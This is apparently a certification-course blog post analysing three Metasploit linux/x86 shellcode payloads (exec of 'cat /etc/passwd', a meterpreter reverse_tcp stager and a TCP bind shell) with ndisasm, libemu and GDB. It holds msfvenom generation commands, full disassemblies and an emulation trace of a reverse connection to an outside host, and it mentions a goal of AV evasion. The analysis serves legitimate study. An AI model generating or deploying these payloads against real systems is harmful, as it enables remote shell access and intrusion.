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SLAE32 - Assignment 5

This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first four (4) parts here:

Part 1 - Assignment 1

Part 2 - Assignment 2

Part 3 - Assignment 3

Part 4 - Assignment 4

The requirements for this assignment are as follows:

  1. Take up at least 3 shellcode samples created using Msfpayload (msfvenom) for linux/x86
  2. Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  3. Present your analysis

Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-5

Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts


The first shellcode I thought I would look at is a traditional linux/x86/exec with the //bin/sh option. This is essentially the same as our execve shellcode we've used throughout the class. I did this because I wanted to see how the folks working on Metasploit created their shellcode.

First, we make the straight RAW binary version which we will use with LIBEMU and NDISASM.

root@kali:/opt/SLAE32/assignment-5# msfvenom -p linux/x86/exec cmd='cat /etc/passwd' \
-a x86 --platform=linux -f raw -o linux-x86-exec.bin

Next, we run NDISASM as follows producing the output shown below. 

root@kali:/opt/SLAE32/assignment-5# ndisasm -u ./linux-x86-exec.bin
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E810000000        call dword 0x2d
0000001D  636174            arpl [ecx+0x74],sp
00000020  202F              and [edi],ch
00000022  657463            gs jz 0x88
00000025  2F                das
00000026  7061              jo 0x89
00000028  7373              jnc 0x9d
0000002A  7764              ja 0x90
0000002C  005753            add [edi+0x53],dl
0000002F  89E1              mov ecx,esp
00000031  CD80              int 0x80

Instead of going through the instructions, let's see how LIBEMU handles the binary.
root@slae32:~# sctest -vvv -Ss 10000 -G linux-x86-exec.dot < linux-x86-exec.bin

We then convert the .dot file to a png and get the following results.

root@slae32:~# dot linux-x86-exec.dot -T png >linux-x86-exec.png




The first thing we notice is that LIBEMU differs tremendously from NDISASM on how it simulates the instructions from our linux/x86/exec shellcode out of Msfvenom. Specifically, NDISASM seems to differ after the PUSH EDX instruction. Either way they both start very similarly which tips us off that this shellcode might be trying to make an EXECVE system call. We know this because 0xb stored in EAX and is left unchanged until the interrupt signal is sent.

The next output from msfvenom I chose is a meterpreter reverse_tcp shell. I chose this because I hope to learn how it works in order to alter it as needed so it can bypass AV. Experience on the job has shown me it is a rare situation when Metasploit payloads actually work. The caveat of course is that Metasploit Pro users get AV evasive payloads. Ok, let's make our binary for use with NDISASM and LIBEMU.

root@kali:/opt/SLAE32/assignment-5# msfvenom --payload linux/x86/meterpreter/reverse_tcp \
rhost=127.1.1.1 lport=4444 -a x86 --platform linux -f raw -o linux-x86-meterpreter-reverse_tcp.bin

First we'll dump the NDISASM output.

root@slae32:/opt/SLAE32/assignment-5# ndisasm -u ./linux-x86-meterpreter-reverse_tcp.bin
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  B066              mov al,0x66
0000000B  89E1              mov ecx,esp
0000000D  CD80              int 0x80
0000000F  97                xchg eax,edi
00000010  5B                pop ebx
00000011  68AC104988        push dword 0x884910ac
00000016  680200115C        push dword 0x5c110002
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  50                push eax
00000021  51                push ecx
00000022  57                push edi
00000023  89E1              mov ecx,esp
00000025  43                inc ebx
00000026  CD80              int 0x80
00000028  B207              mov dl,0x7
0000002A  B900100000        mov ecx,0x1000
0000002F  89E3              mov ebx,esp
00000031  C1EB0C            shr ebx,byte 0xc
00000034  C1E30C            shl ebx,byte 0xc
00000037  B07D              mov al,0x7d
00000039  CD80              int 0x80
0000003B  5B                pop ebx
0000003C  89E1              mov ecx,esp
0000003E  99                cdq
0000003F  B60C              mov dh,0xc
00000041  B003              mov al,0x3
00000043  CD80              int 0x80
00000045  FFE1              jmp ecx

Now we'll use LIBEMU to simulate the binary with SCTEST. The output is rather lengthy but if we follow along we can get a relatively good idea of what this script is doing.

root@slae32:~# sctest -vvv -Ss 10000 -G linux-x86-meterpreter-reverse_tcp.dot \
< linux-x86-meterpreter-reverse_tcp.bin
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417000
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417000
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 31DB                            xor ebx,ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417002
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: PF ZF 
[emu 0x0x9af64b0 debug ] F7E3                            mul ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417004
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: PF ZF 
[emu 0x0x9af64b0 debug ] 53                              push ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417005
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9af64b0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: PF ZF 
[emu 0x0x9af64b0 debug ] 43                              inc ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417006
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 53                              push ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417007
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 6A02                            push byte 0x2
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417009
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] B066                            mov al,0x66
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041700b
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 89E1                            mov ecx,esp
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041700d
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] CD80                            int 0x80
int socket(int domain=2, int type=1, int protocol=0);
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041700f
[emu 0x0x9af64b0 debug ] eax=0x0000000e  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 97                              xchg eax,edi
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417010
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000001
[emu 0x0x9af64b0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 5B                              pop ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417011
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 68AC104988                      push dword 0x884910ac
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417016
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 680200115C                      push dword 0x5c110002
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041701b
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fbe  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 89E1                            mov ecx,esp
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041701d
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fbe  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 6A66                            push byte 0x66
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041701f
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 58                              pop eax
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417020
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fbe  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 50                              push eax
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417021
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 51                              push ecx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417022
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fb6  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 57                              push edi
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417023
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 89E1                            mov ecx,esp
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417025
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000002
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: 
[emu 0x0x9af64b0 debug ] 43                              inc ebx
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417026
[emu 0x0x9af64b0 debug ] eax=0x00000066  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF 
[emu 0x0x9af64b0 debug ] CD80                            int 0x80
connect
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417028
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF 
[emu 0x0x9af64b0 debug ] B207                            mov dl,0x7
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041702a
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000007  ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF 
[emu 0x0x9af64b0 debug ] B900100000                      mov ecx,0x1000
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041702f
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00001000  edx=0x00000007  ebx=0x00000003
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF 
[emu 0x0x9af64b0 debug ] 89E3                            mov ebx,esp
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417031
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00001000  edx=0x00000007  ebx=0x00416fb2
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: PF 
[emu 0x0x9af64b0 debug ] C1EB0C                          shr ebx,0xc
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417034
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00001000  edx=0x00000007  ebx=0x00000416
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF 
[emu 0x0x9af64b0 debug ] C1E30C                          shl ebx,0xc
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417037
[emu 0x0x9af64b0 debug ] eax=0x00000000  ecx=0x00001000  edx=0x00000007  ebx=0x00416000
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF PF 
[emu 0x0x9af64b0 debug ] B07D                            mov al,0x7d
[emu 0x0x9af64b0 debug ] cpu state    eip=0x00417039
[emu 0x0x9af64b0 debug ] eax=0x0000007d  ecx=0x00001000  edx=0x00000007  ebx=0x00416000
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF PF 
[emu 0x0x9af64b0 debug ] CD80                            int 0x80
stepcount 28
copying vertexes
optimizing graph
vertex 0x9b4c7e0
going forwards from 0x9b4c7e0
 -> vertex 0x9b4e980
 -> vertex 0x9b4eb90
 -> vertex 0x9b4ecc8
 -> vertex 0x9b4ee28
 -> vertex 0x9b4efa0
 -> vertex 0x9b4f118
 -> vertex 0x9b4f290
copying edges for 0x9b4f290
 -> 0x9b539e0
vertex 0x9b4f408
going forwards from 0x9b4f408
copying edges for 0x9b4f408
 -> 0x9b53ab8
vertex 0x9b4f698
going forwards from 0x9b4f698
 -> vertex 0x9b4f778
 -> vertex 0x9b4f8f0
 -> vertex 0x9b4fa58
 -> vertex 0x9b4fc50
 -> vertex 0x9b4fe38
 -> vertex 0x9b4ffb0
 -> vertex 0x9b50128
 -> vertex 0x9b502a0
 -> vertex 0x9b50418
 -> vertex 0x9b50590
 -> vertex 0x9b50708
copying edges for 0x9b50708
 -> 0x9b546c8
vertex 0x9b50880
going forwards from 0x9b50880
copying edges for 0x9b50880
 -> 0x9b547a8
vertex 0x9b50c10
going forwards from 0x9b50c10
 -> vertex 0x9b50cf0
 -> vertex 0x9b50e68
 -> vertex 0x9b50fe0
 -> vertex 0x9b51158
 -> vertex 0x9b512d0
copying edges for 0x9b512d0
vertex 0x9b51448
going forwards from 0x9b51448
copying edges for 0x9b51448
[emu 0x0x9af64b0 debug ] cpu state    eip=0x0041703b
[emu 0x0x9af64b0 debug ] eax=0x0000007d  ecx=0x00001000  edx=0x00000007  ebx=0x00416000
[emu 0x0x9af64b0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x0000000e
[emu 0x0x9af64b0 debug ] Flags: CF PF 
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = -2008477524 (host=172.16.73.136);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;

The next step we need to perform is to convert the .dot format into PNG. 

root@slae32:~# dot linux-x86-meterpreter-reverse_tcp.dot -T png > \
linux-x86-meterpreter-reverse_tcp.png

The graphical version is much easier to follow and as a matter of fact, we can see that a SOCKET is being created, followed by a CONNECT system call, and then the last bit of code which waits for the second stage.




I would like to say LIBEMU is the better tool in this situation however, if you examine the output closely, LIBEMU is missing the last few instructions when compared with NDISASM side by side. Hmm, I was hoping this analysis of each tool would be easy and would allow us to pick a clear "go to" tool for revealing what unknown shellcode actually does. Unfortunately this doesn't seem like it will be the case.

So, let's break down the last shellcode, and this time, we'll choose a non-staged payload to examine. Once again, we'll output a raw binary to examine with LIBEMU and NDISASM.

root@kali:/opt/SLAE32/assignment-5# msfvenom --payload linux/x86/shell_bind_tcp lport=4444 -a x86 \
--platform linux -f raw -o linux-x86-shell-bind_tcp.bin

We'll start by using NDISASM to see if it can determine what the shellcode actually does. The long output is below, keep in mind though how long our Assignment 1 program was which essentially was a non-staged shell bind tcp script.

root@slae32:# ndisasm -u linux-x86-shell-bind_tcp.bin 
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

Excellent, let's jump ahead and compare it to LIBEMU output. I'm going to skip the formalities of running SCTEST, please refer to the beginning of this blog for running this tool. We can see that LIBEMU works well in this case where there is no second stage. This is a straightforward TCP bind shell. What I like about the Metasploit framework version is the DUP2 loop. This is both elegant and compact.




What we see here though is that both NDISASM and LIBEMU work well. This leads me to believe that both of these tools have trouble with staged payloads. GDB however seems to work fine for situations when you know the starting point of the script. The draw back however, is that you have to be very careful not to execute the shellcode while debugging it. A simple disassemble should give us what we need. However, if the shellcode being run in GDB is encoded, or encrypted, GDB may not be the best choice. Something else to note, that in order to get GDB to work, we need to output the C format of MSFVENOM and then use shellcode.c to hold our shellcode. After compiling, we should be able to use GDB against the compiled C version.

In conclusion, we can see that for unknown shellcode, we should always start with NDISASM and/or LIBEMU. We should be able to determine whether we're dealing with a staged payload or not. If we see that the interpretation of the shellcode differs between NDISASM and LIBEMU, we might need to use GDB without fully executing the shellcode to see if we can figure out why there are differences between the other tools. I have also noticed that using NDISASM on the RAW binary versus an ELF executable also makes a difference on how NDISASM interprets the shellcode. They are all great tools and we should always use whatever we have at our disposal.

Next: Part 6 - Assignment 6

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-744
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